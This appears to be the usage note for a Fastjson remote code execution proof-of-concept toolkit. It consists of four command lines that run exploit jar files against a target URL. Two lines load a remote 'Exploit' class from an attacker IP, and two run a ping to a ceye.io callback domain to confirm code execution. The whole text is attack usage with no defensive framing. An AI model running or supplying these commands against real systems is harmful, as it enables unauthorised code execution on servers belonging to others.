Fastjson-POC
java -jar fastjson-2019-Rce.jar http://url/ xxx.xxx.xxx.xxx/Exploit cookies
java -jar fast-2017-Rce.jar http://url/ cookies "ping test.ceye.io"
java -jar fastjson-2019-Rce.jar http://url/ xxx.xxx.xxx.xxx/Exploit null
java -jar fast-2017-Rce.jar http://url/ null "ping test.ceye.io"